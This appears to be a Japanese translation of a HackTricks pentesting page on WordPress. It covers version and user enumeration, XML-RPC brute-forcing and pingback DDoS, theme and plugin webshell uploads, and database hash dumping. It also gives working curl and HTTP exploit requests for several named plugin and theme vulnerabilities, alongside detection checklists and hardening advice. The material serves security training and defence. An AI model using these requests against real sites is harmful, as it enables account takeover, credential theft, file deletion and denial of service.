Wordpress

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Basic Information

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, そのため theme の一部の php を変更して RCE を得る場合はおそらくそのパスを使います。例えば: theme twentytwelve を使用すると、次の場所で 404.php ファイルに access できます: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php にはデータベースの root パスワードが含まれていることがあります。

  • チェックすべきデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt にはインストールされている WordPress のバージョンなど有用な情報が含まれています。
  • wp-activate.php は新しい WordPress サイトをセットアップする際のメール有効化プロセスに使用されます。
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の REST API に置き換えられています。
  • wp-content フォルダはプラグインやテーマが格納される主要ディレクトリです。
  • wp-content/uploads/ はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
  • wp-includes/ は証明書、フォント、JavaScript ファイル、ウィジェットなどコアファイルが格納されるディレクトリです。
  • wp-sitemap.xml は WordPress バージョン 5.5 以降で、すべての公開投稿および公開クエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルを生成します。

Post exploitation

  • wp-config.php ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれています。この構成ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティングに役立つことがあります。

Users Permissions

  • 管理者 (Administrator)
  • 編集者 (Editor): 自分と他人の投稿を公開および管理できます
  • 投稿者 (Author): 自分の投稿を公開および管理できます
  • 寄稿者 (Contributor): 投稿を作成および管理できますが、公開することはできません
  • 購読者 (Subscriber): 投稿を閲覧し、自分のプロフィールを編集できます

Passive Enumeration

Get WordPress version

/license.txt または /readme.html ファイルを見つけられるか確認してください

ページの source code 内(例: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

プラグインを取得

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テーマを取得

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

一般的なバージョンの抽出

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

アクティブ列挙

プラグインとテーマ

おそらくすべてのプラグインとテーマを見つけることはできません。すべてを発見するには、積極的に Brute Force でプラグインとテーマのリストを列挙する必要があります(幸いにも、これらのリストを含む自動化ツールが存在します)。

ユーザー

  • ID Brute: WordPressサイトから有効なユーザを取得するには、Brute Forcing users IDsを行います:
curl -s -I -X GET http://blog.example.com/?author=1

レスポンスが 200 または 30X の場合、その id は 有効 です。レスポンスが 400 の場合、その id は 無効 です。

  • wp-json: ユーザー情報をクエリによって取得することもできます:
curl http://blog.example.com/wp-json/wp/v2/users

ユーザーの情報を明らかにできる別の /wp-json/ endpoint は次のとおりです:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.

また、/wp-json/wp/v2/pages は IP アドレスを leak する可能性があることにも注意してください。

  • Login username enumeration: /wp-login.php でログインする際、表示される メッセージ が、指定した ユーザー名が存在するかどうか によって 異なる ことがあります。

XML-RPC

もし xml-rpc.php が有効であれば、credentials brute-force を行ったり、他のリソースに対して DoS 攻撃を仕掛けるために利用したりできます。(例えば、このプロセスは using this を使って自動化できます。)

有効かどうかを確認するには、/xmlrpc.php にアクセスして以下のリクエストを送信してみてください:

チェック

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

認証情報 Bruteforce

wp.getUserBlogs, wp.getCategories または metaWeblog.getUsersBlogs は認証情報を brute-force するために使えるメソッドのいくつかです。これらのいずれかを見つけたら、次のようなリクエストを送ることができます:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

認証情報が有効でない場合、メッセージ “Incorrect username or password” は 200 コードのレスポンス内に表示されるはずです。

正しい認証情報を使用するとファイルをアップロードできます。レスポンス内にパスが表示されます(https://gist.github.com/georgestephanis/5681982)。

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

また、同じリクエストで複数のcredentialsを試せるため、より高速な方法として system.multicall を使ってcredentialsをbrute-forceできます:

2FAをバイパス

この方法はプログラム向けで人間向けではなく、古いため2FAをサポートしていません。したがって、有効なcredsを持っていてもメインの入口が2FAで保護されている場合、xmlrpc.phpを悪用してそれらのcredsで2FAをバイパスしてログインできる可能性があります。すべてのコンソール操作が行えるわけではない点に注意してくださいが、Ippsecが説明しているようにRCEに到達できる場合もあります: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

一覧内に pingback.ping があれば、Wordpress に任意の host/port へリクエストを送らせることができます。
これは thousands の Wordpress sites に同一の locationaccess させるために使え(その location で DDoS が発生します)、または Wordpress を使って内部 networkscan を行わせるために使うこともできます(任意の port を指定可能)。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

もしfaultCodeの値が0より大きい(17)の場合、それはそのポートが開いていることを意味します。

前のセクションでの**system.multicall**の使用法を参照し、このメソッドを悪用してDDoSを引き起こす方法を学んでください。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php の DoS

このファイルは通常 WordPress サイトのルートに存在します: /wp-cron.php
このファイルが accessed されると、“heavy” な MySQL query が実行されるため、attackers によって DoScause するために利用される可能性があります。
また、デフォルトでは wp-cron.php は各ページロード時(クライアントが任意のWordpressページをリクエストするたびに)呼び出されるため、トラフィックが多いサイトでは問題(DoS)を引き起こすことがあります。

Wp-Cron を無効化し、ホスト内で定期的に必要な処理を実行する実際の cronjob を作成することを推奨します(問題を引き起こさないように)。

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみると、Worpress サイトがあなたにリクエストを送る可能性があります。

これは動作しない場合のレスポンスです:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

このツールは methodName: pingback.ping とパス /wp-json/oembed/1.0/proxy をチェックし、存在する場合はそれらを悪用しようとします。

自動ツール

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

ビットを上書きしてアクセスを取得する

実際の攻撃というより興味本位の事例です。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では任意の wordpress ファイルの1ビットを反転できました。例えば、ファイル /var/www/html/wp-includes/user.php の位置 5389 を反転して NOT (!) を NOP にできます。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

使用されているテーマの php を変更する(admin credentials が必要)

Appearance → Theme Editor → 404 Template(右側)

php shell の内容に変更する:

更新したページにどうアクセスするかをインターネットで調べてください。今回は次の場所にアクセスします: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

使用できます:

use exploit/unix/webapp/wp_admin_shell_upload

セッションを取得するために。

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
例えば次のように php バックドアを作成します:

次に新しい plugin を追加します:

plugin をアップロードして Install Now を押します:

Procced をクリック:

おそらく何も起きないように見えますが、Media に移動するとアップロードされた shell が見えます:

それにアクセスすると reverse shell を実行するための URL が表示されます:

Uploading and activating malicious plugin

この方法は、脆弱であることが知られている悪意ある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress ダッシュボードから以下のように実行されます:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • WordPress ダッシュボードに移動し、Dashboard > Plugins > Upload Plugin に進みます。
  • ダウンロードしたプラグインの zip ファイルをアップロードします。
  1. Plugin Activation: プラグインが正常にインストールされたら、ダッシュボードから有効化する必要があります。
  2. Exploitation:
  • プラグイン “reflex-gallery” がインストールされ有効化されていると、脆弱であることが知られており、悪用が可能です。
  • Metasploit framework はこの脆弱性用の exploit を提供しています。適切なモジュールをロードし、特定のコマンドを実行することで meterpreter セッションを確立し、サイトへの不正アクセスが可能になります。
  • これは WordPress サイトを悪用する多くの方法のうちの一例に過ぎません。

コンテンツには、プラグインのインストールと有効化の手順を示す WordPress ダッシュボードの視覚的な補助が含まれています。ただし、このような脆弱性を悪用することは、適切な許可なしには違法であり非倫理的であることに注意してください。この情報は責任を持って、明確な許可のあるペネトレーションテストなどの合法的な文脈でのみ使用してください。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike は WordPress の Cross-Site Scripting (XSS) 脆弱性を Remote Code Execution (RCE) や他の重大な脆弱性にエスカレートさせるために設計されたスクリプトです。詳細は this post を参照してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X をサポートし、以下を可能にします:
  • Privilege Escalation: WordPress にユーザーを作成します。
  • (RCE) Custom Plugin (backdoor) Upload: カスタムプラグイン(バックドア)を WordPress にアップロードします。
  • (RCE) Built-In Plugin Edit: WordPress 内蔵のプラグインを編集します。
  • (RCE) Built-In Theme Edit: WordPress の内蔵テーマを編集します。
  • (Custom) Custom Exploits: サードパーティ製 WordPress プラグイン/テーマ向けのカスタムエクスプロイト。

Post Exploitation

ユーザー名とパスワードを抽出する:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin password を変更する:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress プラグイン Pentest

攻撃対象

Wordpressプラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を発見するために重要です。プラグインが機能を公開する方法は以下の箇条書きで確認でき、脆弱なプラグインのいくつかの例はthis blog postにあります。

  • wp_ajax

プラグインが関数をユーザーに公開する方法の一つは、AJAXハンドラを介することです。これらはロジック、認可、または認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を、Wordpressのnonceの存在に基づかせることがかなり頻繁にあり、そのnonceはWordpressインスタンスに認証されている任意のユーザーが持っている可能性がある(ロールに関係なく)。

プラグイン内の関数を公開するために使われる関数は次のとおりです:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv を使うと、そのエンドポイントはどのユーザーからでもアクセス可能になります(認証されていないユーザーも含む)。

Caution

さらに、関数が wp_verify_nonce でユーザーの認可だけを確認している場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常ユーザーのロール(権限)までは確認しません。したがって、権限の低いユーザーが高権限の操作にアクセスできる可能性があります。

  • REST API

It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback は、特定のユーザーが API メソッドを呼び出す権限を持っているかをチェックするコールバック関数です。

組み込みの __return_true 関数が使われている場合、ユーザー権限チェックを単にスキップします。

  • Direct access to the php file

もちろん、Wordpress は PHP を使用しており、plugin 内のファイルは Web から直接アクセス可能です。そのため、plugin がファイルにアクセスするだけで起動する脆弱な機能を公開している場合、任意のユーザーによって悪用される可能性があります。

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

一部の plugin は内部連携や reverse proxy のために “trusted header” のショートカットを実装し、その header を REST リクエストの現在のユーザーコンテキストを設定するために使用します。もしその header が上流のコンポーネントによってリクエストに対して暗号学的に結び付けられていない場合、攻撃者はそれを偽装して管理者として特権のある REST ルートにアクセスできます。

  • Impact: 未認証の privilege escalation to admin — core users REST route を介して新しい administrator を作成することで実行されます。
  • Example header: X-Wcpay-Platform-Checkout-User: 1(user ID 1 を強制、通常は最初の administrator アカウント)
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • プラグインはクライアント制御のヘッダを認証状態にマッピングし、権限チェックをスキップします。
  • WordPress core はこのルートに create_users capability を期待します;プラグインのハックはヘッダから直接 current user コンテキストを設定してそれをバイパスします。

Expected success indicators

  • 作成されたユーザを記述した JSON ボディ付きで HTTP 201 を返す。
  • 新しい管理者ユーザが wp-admin/users.php に表示される。

Detection checklist

  • ユーザコンテキストを設定するためにカスタムヘッダを読む getallheaders(), $_SERVER['HTTP_...']、またはベンダー SDK を grep する(例: wp_set_current_user(), wp_set_auth_cookie())。
  • 堅牢な permission_callback チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックの REST 登録を確認する。
  • REST ハンドラ内で、ヘッダ値のみで保護されているコアのユーザ管理関数(wp_insert_user, wp_create_user)の使用を探す。

wp_ajax_nopriv を介した認証されていない任意のファイル削除 (Litho Theme <= 3.0)

WordPress のテーマやプラグインは wp_ajax_wp_ajax_nopriv_ フックを通じて AJAX ハンドラを公開することが多い。nopriv バリアントが使われると コールバックは認証されていない訪問者から到達可能 になるため、機密性の高いアクションは追加で次を実装する必要がある:

  1. 権限チェック(例:current_user_can() または少なくとも is_user_logged_in())、および
  2. check_ajax_referer() / wp_verify_nonce() で検証される CSRF nonce、および
  3. 厳格な入力のサニタイズ / 検証

Litho multipurpose theme (< 3.1) は Remove Font Family 機能でこれら3つの制御を忘れており、結果として次のコード(簡略化)を出荷していた:

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

このスニペットによって導入される問題:

  • Unauthenticated access – the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check – 任意の訪問者が endpoint にアクセスできる。
  • No path sanitisation – ユーザー制御の fontfamily 文字列がフィルタリングなしにファイルシステムパスに連結され、古典的な ../../ トラバーサルを可能にしている。

Exploitation

攻撃者は単一の HTTP POST request を送信することで、uploads ベースディレクトリ以下(通常 <wp-root>/wp-content/uploads/)の任意のファイルまたはディレクトリを削除できる:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

検出チェックリスト

  • add_action( 'wp_ajax_nopriv_...') のコールバックでファイルシステムヘルパー(copy(), unlink(), $wp_filesystem->delete() など)を呼び出しているもの。
  • サニタイズされていないユーザ入力をパスに連結している箇所($_POST, $_GET, $_REQUEST を探す)。
  • check_ajax_referer()current_user_can()/is_user_logged_in() が存在しないこと。

ステールロール復元と認可欠如による権限昇格 (ASE “View Admin as Role”)

多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする「view as role」や一時的なロール切り替え機能を実装しています。復元処理がリクエストパラメータ(例: $_REQUEST['reset-for'])とプラグインが保持するリストだけに依存し、権限チェックや有効な nonce を確認していない場合、これは垂直的な権限昇格になります。

実際の例として、Admin and Site Enhancements (ASE) プラグイン(≤ 7.6.2.1)で発見されました。reset ブランチは、ユーザ名が内部配列 $options['viewing_admin_as_role_are'] に存在する場合に reset-for=<username> に基づいてロールを復元しましたが、現在のロールを削除して user meta _asenha_view_admin_as_original_roles に保存されたロールを再追加する前に、current_user_can() のチェックも nonce の検証も行っていませんでした:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

なぜ悪用可能か

  • $_REQUEST['reset-for'] とプラグインのオプションをサーバー側の認可なしに信頼している。
  • ユーザーが以前に高い特権を _asenha_view_admin_as_original_roles に保存していて権限が下げられていた場合、リセット用のパスにアクセスすることでそれらを復元できる。
  • 一部の導入環境では、認証済みの任意のユーザーが viewing_admin_as_role_are にまだ存在する別のユーザー名のリセットをトリガーできる(認可の不備)。

悪用(例)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

脆弱なビルドではこれが現在のロールを削除し、保存された元のロール(例:administrator)を再追加するため、実質的に権限が昇格します。

Detection checklist

  • ユーザーメタに「original roles」を保持するようなロール切替機能(例:_asenha_view_admin_as_original_roles)を探す。
  • リセット/復元用のパスを特定する。これらは次のような特徴がある:
  • $_REQUEST / $_GET / $_POST からユーザー名を読み取る。
  • add_role() / remove_role()current_user_can() および wp_verify_nonce() / check_admin_referer() なしで呼び出してロールを変更する。
  • actor の capabilities ではなくプラグインのオプション配列(例:viewing_admin_as_role_are)に基づいて認可する。

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

一部のプラグインはユーザースイッチング用のヘルパーを公開の init フックに接続し、クライアントが制御するCookieから識別情報を取得します。コードが認証、権限、有効なnonceの検証を行わずに wp_set_auth_cookie() を呼び出すと、未認証の訪問者が任意のユーザーIDとして強制的にログインできます。

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

なぜ悪用可能か

  • 公開の init フックによりハンドラは未認証ユーザーから到達可能になる(is_user_logged_in() ガードがない)。
  • 識別はクライアントが変更可能なクッキー(original_user_id)から導出されている。
  • wp_set_auth_cookie($uid) を直接呼び出すことで、要求者をそのユーザーとしてログインさせる(権限や nonce チェックなし)。

悪用(未認証)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF — WordPress/plugin CVEs の考慮事項

一般的なエッジ/サーバー WAF は広範なパターン(SQLi、XSS、LFI)に合わせてチューニングされています。多くの高影響な WordPress/plugin の脆弱性はアプリケーション固有のロジックや auth バグで、エンジンが WordPress のルートや plugin のセマンティクスを理解していないと正当なトラフィックに見えてしまいます。

攻撃側の注意点

  • plugin 専用のエンドポイントをクリーンな payloads で狙う: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • まずは unauth パスを試す(AJAX nopriv、パーミッシブな permission_callback を持つ REST、public shortcodes)。デフォルトの payloads は難読化なしで成功することが多い。
  • 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

防御側の注意点

  • plugin CVEs を保護するために汎用的な WAF シグネチャに頼らない。アプリケーション層で脆弱性固有の仮想パッチを実装するか、素早く更新する。
  • コード内ではネガティブな regex フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。

WordPress の保護

定期的な更新

WordPress、plugins、themes が最新であることを確認する。また、wp-config.php で自動更新が有効になっているか確認する:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

また、信頼できる WordPress プラグインとテーマのみをインストールしてください

セキュリティプラグイン

その他の推奨事項

  • デフォルトの admin ユーザーを削除する
  • 強力なパスワード2FA を使用する
  • 定期的にユーザーの 権限見直す
  • ログイン試行回数を制限することで Brute Force 攻撃を防ぐ
  • wp-admin.php ファイルの名前を変更し、内部または特定の IP アドレスからのみアクセスを許可する。

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

WP Job Portal の求人プラグインは savecategory タスクを公開しており、最終的に modules/category/model.php::validateFormData() 内で以下の脆弱なコードを実行します:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

このスニペットが引き起こす問題:

  1. Unsanitised user inputparentid はHTTPリクエストからそのまま取得されています。
  2. String concatenation inside the WHERE clauseis_numeric() / esc_sql() / prepared statement が使われていません。
  3. Unauthenticated reachability – このアクションは admin-post.php を通じて実行されますが、設置されている唯一のチェックは CSRF nonce (wp_verify_nonce()) で、これはショートコード [wpjobportal_my_resumes] を埋め込んだ公開ページから誰でも取得できます。

悪用

  1. 新しい nonce を取得する:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid を悪用して任意のSQLを注入する:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

レスポンスは注入されたクエリの結果を表示するかデータベースを変更し、SQLi を証明します。

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

別のタスク、downloadcustomfile は、path traversal を介して訪問者がディスク上の任意のファイルをダウンロードできるようにしていました。脆弱なシンクは modules/customfield/model.php::downloadCustomUploadedFile() にあります:

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name は攻撃者が制御可能で、without sanitisation のまま連結されています。繰り返しますが、唯一の障壁は履歴書ページから取得できる CSRF nonce です。

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

サーバーは wp-config.php の内容を返し、leaking DB credentials and auth keys。

未認証のアカウント乗っ取り — Social Login AJAX fallback 経由 (Jobmonster Theme <= 4.7.9)

多くのテーマ/プラグインは admin-ajax.php 経由で公開される “social login” ヘルパーを提供します。未認証の AJAX アクション (wp_ajax_nopriv_…) が provider data が存在しない場合に client-supplied identifiers を信用して wp_set_auth_cookie() を呼び出すと、完全な full authentication bypass になります。

典型的な欠陥パターン(簡略化)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

なぜ悪用可能か

  • admin-ajax.php(wp_ajax_nopriv_… アクション)経由で未認証で到達可能。
  • 状態変更前に nonce/capability チェックが行われない。
  • OAuth/OpenID provider の検証が欠如しており、デフォルトの分岐が攻撃者の入力を受け入れる。
  • get_user_by(‘email’, $_POST[‘id’]) の後に wp_set_auth_cookie($uid) が呼ばれ、要求者を任意の既存メールアドレスとして認証してしまう。

悪用(未認証)

  • 前提条件: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザーメールを知っているか推測できること。
  • provider をサポートされていない値に設定する(または省略する)とデフォルトの分岐が実行され、id=<victim_email> を渡す。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • テーマ/プラグイン内の social login コード(例: framework/add-ons/social-login/class-social-login.php)で add_action(‘wp_ajax_nopriv_…’, ‘…’) の登録を確認する。
  • AJAX ハンドラ内で wp_set_auth_cookie(), get_user_by(‘email’, …) を grep する。

Detection checklist

  • social-login アクションと id= を含む未認証の POST が /wp-admin/admin-ajax.php に対して行われていることを示す Web ログ。
  • 同一 IP/UA からの認証済みトラフィックの直前に success JSON を返す 200 レスポンスがあること。

Hardening

  • クライアント入力から識別を導出しない。メール/ID は検証済みプロバイダのトークン/ID に由来するもののみ受け入れる。
  • ログイン補助でも CSRF nonce と capability チェックを要求する。wp_ajax_nopriv_ の登録は本当に必要な場合のみ行う。
  • OAuth/OIDC レスポンスをサーバー側で検証・確認する。プロバイダが欠落・無効な場合は拒否する(POST の id にフォールバックしない)。
  • 修正されるまで一時的に social login を無効化するか、エッジで脆弱な action をブロックして仮パッチを当てることを検討する。

Patched behaviour (Jobmonster 4.8.0)

  • $_POST[‘id’] からの安全でないフォールバックを削除;$user_email は switch($_POST[‘using’]) の検証済みプロバイダ分岐からのみ取得される必要がある。

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

一部プラグインは、呼び出し元の capability を検証せずに再利用可能な “connection keys” やトークンを発行する REST エンドポイントを公開している。ルートが推測可能な属性(例: username)のみで認証し、キーを capability チェックでユーザー/セッションに紐付けない場合、未認証の攻撃者がキーを発行して特権操作(管理者アカウント作成、プラグイン操作 → RCE)を実行できる。

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
